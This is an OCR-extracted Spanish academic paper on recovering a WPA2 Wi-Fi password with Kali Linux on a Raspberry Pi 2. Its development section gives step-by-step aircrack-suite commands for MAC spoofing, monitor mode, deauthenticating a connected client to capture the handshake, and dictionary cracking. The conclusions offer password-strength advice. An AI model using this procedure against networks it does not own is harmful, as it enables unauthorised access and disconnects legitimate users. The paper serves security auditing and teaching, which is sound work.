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Resumen

Este trabajo tiene como propésito exponer la metodologia y alcances que tiene la implementacién del
sistema embebido Raspberry Pi 2® para obtener la clave de acceso a una red inaldmbrica de internet
conocida cominmente como red Wi-Fi, la cual utiliza el protocolo de seguridad WPA2. Para esto se
instalara el sistema operativo Kali Linux™, que es empleado para la auditoria de redes, este sistema
proporciona las herramientas necesarias para corromper la seguridad de una red Wi-Fi y con esto dar
acceso a la red. Es comun que se den estos ataques para deducir la clave y con esto disfrutar los
privilegios que brinda el punto de conexién Wi-Fi, como el poder conectarnos a Internet sin tener que ser
parte del grupo que paga este servicio. O bien, se puede verificar la sequridad de la red, para evitar un
posible ataque y con esto prevenir la intrusién de equipos y personas ajenas que puedan general algin
dafio o gocen de los beneficios que nos brinda el punto de acceso Wi-Fi.

I. Introduccion

La comunicacién inalambrica es aquella que se lleva a cabo entre dispositivos que participan
en un intercambio de informacién sin el uso de un medio fisico que la transporte. La tecnologia
inaldmbrica cada dia estd ganando mas terreno, por las ventajas que presenta como el poder
enlazar varios equipos entre si con un solo punto de interconexidn, la posibilidad de que los
dispositivos conectados puedan desplazarse en su entorno, es decir equipos mdviles, entre
otras ventajas.

En un articulo de la revista Forbes México expone que las cuatro violaciones a la seqguridad
informatica mas caras a la que se enfrentan las empresas segun un estudio elaborado por
Kaspersky Lab en cooperacién con B2B International son [1]:

Fraude de empleados.
Ciberespionaje.

Intrusioén a la red.
Incumplimiento de proveedores.

Call A

En donde se aprecia que el ataque a las redes de comunicacion es un serio problema, que no
solo afecta a las empresas, sino a los usuarios, ya que la presencia de los teléfonos inteligentes
a crecido un 58% a nivel nacional y de estos el 87% son empleados para navegar en internet,
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asi crece la demanda de puntos de acceso de manera inalambrica, por lo que se corre el riesgo
de ser victima de los delincuentes cibernéticos si no se cuenta con la debida seguridad para
proteger la conexidn a dichas redes [2].

II. Antecedentes

En 1990 el Instituto de Ingenieros Eléctricos y Electrénicos conocido por sus siglas en inglés
como IEEE aprobd la creacidn de la norma 802, la cual seria para regular el funcionamiento de
las redes de area local y metropolitanas [3]. En 1999 varias compafiias de alcance mundial
decidieron formar una alianza para generar un estandar que normalizara la recién creada
tecnologia de redes inaldambricas, con esto se dio creacidn a la Alianza de Compatibilidad de
Ethernet Inalambrica conocida también por su nombre en inglés como Wireless Ethernet
Compatibility Alliance (WECA), tiempo después se cambid su nombre a Wi-Fi Alliance, que dio
como resultado el desarrollo de la norma IEEE 802.11 para regular la redes inaldmbricas, esta
norma fue puesta en marcha en el afio 2000, fecha en la que se cre¢ el sello Wi-Fi Certified®, el
cual servia para garantizar a los usuarios la compatibilidad de los equipos para que trabajen
en la misma red inalambrica sin la necesidad de pertenecer al mismo fabricante; de ahi que la
redes inaldmbricas de internet sean mejor conocidas como redes Wi-Fi [4].

El protocolo de seguridad de Acceso Protegido Wi-Fi o conocido en inglés como Wi-Fi Protected
Access (WPA) es un sistema de seguridad mas robusto y eficiente que el protocolo WEP. La
seguridad WPA utiliza claves de cifrado de 128 bits que se pueden asignar de forma dinamica
por usuario o sesién y un vector de inicializacién de 48 bits, por lo que este protocolo es menos
vulnerable a los ataques de fuerza bruta [5]. La mejora fue la implementacidn del Protocolo de
Integracién de la Clave Temporal (TKIP), el cual modifica de forma sincroniza las claves a
medida que el sistema se utiliza, también implementa un Cédigo de Integracién del Mensaje
(MIC), conocido como Michael. EL protocolo WPA y WPA2 usan para autentificarse un servidor
Radius donde se almacenan las credenciales y contrasefias de los usuarios, cuando es utilizada
en el ambito empresarial; o una clave compartida PSK en redes personales. A pesar de que el
protocolo de seguridad WPA proporciona un buen nivel de seguridad, es todavia susceptible a
ser corrompida cuando se realizan ataques con diccionario [6].

Un ataque por diccionario es un ataque de fuerza bruta, que consiste en capturar el paquete
gue transmite un cliente al punto de conexién inaldmbrica para ser autenticado en la red. Una
vez conseguido el paquete, se procesa para buscar en una lista de posibles claves que se conoce
como diccionario de ahi el nombre que recibe este tipo de ataque. A pesar de que el protocolo
de seguridad WPA/WPA2 brinde una gran proteccion, como este implementa el protocolo TKIP,
resulta ser vulnerable a la recuperacién de la clave encriptada [6].

EL sistema operativo Back Track fue una plataforma que servia para realizar auditoriasy hacer
evaluaciones de seguridad como las pruebas de intrusién con una gran cantidad de
herramientas de cdédigo abierto y gratuitas, con el fin de detectar, identificar y explorar las
vulnerabilidades de los sistemas informaticos [6]. Tiempo después este sistema fue retirado
para dar paso al nuevo sistema operativo llamado Kali Linux™, el cual es una versién mas
avanzada y poderosa que su antecesor. Kali Linux™ esta basado en el sistema Debian y es un
procedimiento de ficheros FHS [7].
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El sistema embebido Raspberry Pi 2® modelo B, como se observa en la figura 1, es la segunda
generacion de minicomputadora desarrollada por la fundacién que lleva el mismo nombre.
Este dispositivo ahora utiliza un procesador ARM Cortex-A7 de cuatro nucleos que corre a una
velocidad de 900 MHz y una memoria RAM de 1GB, superando con esto a su antecesora.
Conserva el mismo disefio que la tarjeta Raspberry Pi® modelo B+ en dimensiones, asi como la
distribucién de sus puertos de conexidn [8].

Y 4

Figura 1. Tarjeta Raspberry Pi 2°®

III. Desarrollo

Se abre la Terminal de Kali Linux™ y se ingresa el comando:

root@kali:~# airmon-ng
Este comando nos indicara la interfaz que se esta usando, como se observa en la figura 2, para
la conexion a la red inalambrica.

root@kali:~# airmon-ng
PH Interface Driver Chipset

phy0 wlanl rt2800usb Ralink Technology, Corp. RT2870/RT3070

root@kali:~#

Interfaz Tarjeta de red inalambrica

Figura 2. Ejecucion del comando airmon-ng

Antes de realizar la intrusién se debe de cambiar la direccién MAC (Media Access Control), esto
se realiza mediante el programa Macchanger, para instalar esta aplicaciéon se ingresa la
siguiente linea de comando en una Terminal;

root@kali:~# apt-get install macchanger
Luego se ingresan los siguientes comandos para cambiar la direccién MAC:

root@kali:~# airmon-ng stop [Interfaz]

root@kali:~# ifconfig [Interfaz] down

root@kali:~# macchanger -r [Interfaz]

Después se abre una nueva Terminal. Antes de entrar en modo monitor, se ingresa el siguiente
comando:

root@kali:~# airmon-ng check
Para cerciorarse que ningun proceso interfiera con el modo monitor. Si se da el caso de
procesos encontrados, se ingresa el comando:

root@kali:~# airmon-ng check kill
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Para terminar los procesos que se interponen en el escaneo de sefiales.

Una vez cambiada la direccién MAC y eliminados los procesos, se activa el modo monitor de la
tarjeta de red con el comando:

root@kali:~# airmon-ng start [Interfaz]
Ya activado el modo monitor, se empieza a escanear las redes inaldmbricas disponibles con el
comando:

root@kali:~# airodump-ng [Interfaz]
La figura 3 muestra las redes escaneadas con la tarjeta de red empleada, para detener el
escaneo se emplea la combinacién de teclas Ctrl+C, se escoge la red para la experimentacion
con seguridad WPA o WPA2, los datos que debemos de recordar son el BSSID y el nimero de
canal.

CH 2 ][ Elapsed: 2 mins ][ 2015-69-10 06:54
PWR Beacons #Data, #/s ENC CIPHER AUTH ESSID

WPA2 CCMP  PSK Totalplay-
WPA2 CCMP ARRIS -
WPA2 CCMP ARRIS -
WPA2 CCMP INFINITUM
WPA2 CCMP INFINITUM
WPA2 CCMP Cablenet
WPA2 CCMP INFINITUM

WPA2 CCMP K INFINITUM XXXX
S-

IZZINET-
ARRIS-
WPA2 CCHP 1221

0
0
7
0
]
]
]
0
0
[
]
(]
0
]
L]

Red elegida para ataque

Figura 3. Redes detectadas con la tarjeta de red inalambrica en modo monitor

Ahora se deben de capturar los paquetes que son transmitidos por la red para después ser
analizados y decodificar la clave de acceso, para realizar el almacenaje de estos paquetes se
emplea el siguiente comando en una nueva Terminal:

root@kali:~# airodump-ng -c [Canal de la red] -w [Nombre del archivo donde se

almacenaran los paquetes] —-bssid [BSSID de la red] [Interfaz]
Una vez empleado este comando, se empezard el almacenaje de paquetes en el archivo
designado para esta tarea, la figura 4 muestra este proceso. El objetivo de capturar los
paquetes es que alguno debera de transportar la clave encriptada, esto solo ocurre cuando un
cliente se trata de conectar a la red y este tiene la clave correcta para hacerlo, se podria esperar
hasta que esto suceda con el inconveniente de que pase un largo tiempo o en el mejor de los
casos, si ya hay clientes conectados tratar de desconectar alguno para que este trate de
volverse a conectar a la red y con esto capturar el paquete que transporta la clave; a este
procedimiento en inglés se le conoce como “Handshake”, ver figura 4. Para realizar este paso
se utiliza el siguiente comando en una nueva Terminal:

root@kali:~# aireplay-ng --deauth [Numero de veces a repetir esta accién] -a [BSSID de la

red] -c [Direccién MAC de un cliente conectado a la red] [Interfaz]
Enla Terminal en donde se realiza la captura de paquetes se puede ver a los clientes conectados
a la red que se esta monitoreando con el encabezado “STATION". Una vez realizado el proceso
para desconectar a un cliente, aparecera en esta misma pantalla el encabezado “WPA
handshake [BSSID de la red]” si hubo éxito en este paso y se debe detener el proceso de captura
de datos con Ctrl+C.
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Paquetes capturados Handshake

CH 2 ][ Elapsed: 10 mins ][ 2015-09-10NG7:20 ] || WPA handshakef 00:0C:43:XX :XX :XX

BSSID PWR RXQ Beacons #Data,) #/: CH| MB ENC CIPHER AUTH ESSID
BSSID -

Red
de la red 00:0C:43: XX XX:XX | -82 67 2558 697 ] PAR-TER e PSK  {INEINITUMXXXX é

atacada
BSSID STATION PWR Rate [Ldgt  Frames Probe

00:0C:43:xx : XX:XX 60:36:DD:xx:Xx:Xx| -56 le- Oe o 929

Cliente a desconectar Canal

Figura 4. Captura de paquetes y Handshake

Se abre una nueva Terminal donde se usara el comando:
root@kali:~# aircrack-ng -w ./[Direccion del diccionario que se usaraj [Nombre del archivo
donde se almacenaron los paquetes]

En este paso se empieza a buscar la clave en el archivo conocido como diccionario.

IV. Experimentacion y resultados

El diccionario empleado para obtener la clave de acceso a la red inalambrica contaba con un
millén de contrasefias, siendo la ultima la correcta. El tiempo empleado para la localizacién de
la clave fue de 3 horas con 40 minutos aproximadamente, lo que nos da como resultado que si
el diccionario es muy pequenio, la ejecucion se realizarad en un menor tiempo pero corriendo el
riesgo de que no esté la clave o si se emplea un diccionario mas grande el tiempo de bdsqueda
serd muy elevado, alcanzando tiempos de dias, semanas, meses o en el peor de los casos afios,
pero consiguiendo un resultado favorable. La figura 5 muestra la captura de pantalla cuando
se encuentra la clave de acceso.

Velocidad de

Numero de lectura del
claves leidas diccionario

Aircrack-ng 1.2 rc2

Tiempo
transcurrido 103:39:30] 1999999 keyd tested |(311.88 k/s|

Clave

KEY FOUND! [ Gef2c0c05d ]

encontrada
78
02

5
1
9

44
8 3F

E FA 58 5D 1E

1F 3A 10 E8 D9 7D

D 3C 9D 4E 12 08 9A

Figura 5. Clave encontrada

V. Conclusiones

La seguridad de una red inalambrica es un factor muy importante y por ende se deben de
contar con medidas para prevenir un ataque. Un factor decisivo es el uso de protocolos de
seguridad robustos que no proporcionen fallos, uno de ellos es el protocolo WPA2, el cual es el
mas empleado en redes personales, pero no estd exento de ser corrompido. Una de sus
debilidades es el uso de contrasefias débiles como nombres, fechas o palabras comunes que
el usuario utiliza por su sencillez o por su facilidad de ser recordadas y que un diccionario con
pocas claves pueda ser suficiente para romper la seguridad. Por eso es recomendable utilizar
contrasefas las cuales contengan numeros, letras mayusculas, mindsculas y signos; ademas
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de que deben de ser de una longitud larga para hacer mas dificil un ataque por diccionario, ya
que un archivo que contenga este tipo de claves tardaria tanto en encontrarla que seria casi
inutil deducirla por el tiempo empleado. Otro consejo es el cambio periddico de la clave.
También se puede deducir que la potencia de los nuevos sistemas embebidos esta creciendo
con lo que se tiene un gran aliado o amenaza con respecto a la seguridad de redes
inaldmbricas, ya que se tiene un equipo mdévil y discreto el cual nos brinda las herramientas
necesarias para realizar ataques o pruebas de seguridad a las redes Wi-Fi.
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